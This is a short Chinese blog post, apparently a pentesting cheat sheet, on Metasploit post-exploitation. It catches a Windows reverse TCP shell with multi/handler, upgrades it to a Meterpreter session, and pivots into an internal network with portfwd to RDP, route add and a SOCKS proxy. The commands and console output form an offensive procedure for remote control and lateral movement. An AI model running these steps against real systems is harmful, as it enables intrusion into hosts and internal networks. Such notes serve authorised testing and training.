msf普通shell升级成meterpreter

升级shell

接收普通反弹shell

1
2
3
4
5
6
7
8
use multi/handler
set payload windows/shell/reverse_tcp
run

[*] Started reverse TCP handler on xxxxxxxx
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to xxxxxx
[*] Command shell session 3 opened (xxxxx -> xxxxxxx) at 2021-02-02 02:43:35 -0500

接收成功之后将session放在后台

1
background

1.一般方法
加载shell转换模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
use post/multi/manage/shell_to_meterpreter
set session 1
run


[*] Upgrading session ID: 3
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on xxxxxx
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) >
[*] Sending stage (175174 bytes) to xxxxxx
[*] Meterpreter session 4 opened (xxxxxx -> xxxxxx) at 2021-02-02 02:45:02 -0500
[*] Stopping exploit/multi/handler

2.简单方法

1
sessions -u 1

查看新生成的session编号

1
sessions -l

进入新的meterpreter session

1
2
sessions -i 新的session编号
[*] Starting interaction with 4...

内网穿透

端口转发

在meterpreter中执行portfwd可进行端口转发

1
2
3
4
portfwd add -l 1234 -r xx.xx.xx.xx -p 3389
-l 本地端口
-r 目标ip
-p 目标端口

网络代理

在msf中使用pivot可添加网络代理

1
2
route add 内网ip 子网掩码 session的id
route print

添加完成后可以在msf中访问目标网段,但是要使用其他程序来访问,需要额外搭建socks代理

1
2
3
4
5
6
7
8
三选一
use auxiliary/server/socks4a
use auxiliary/server/socks5
use auxiliary/server/socks_unc
然后设置本地监听ip:port
set srvhost 0.0.0.0
set srvport 1080
run

代理监听在0.0.0.0:1080端口

参考

https://www.anquanke.com/post/id/164525#h3-30


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!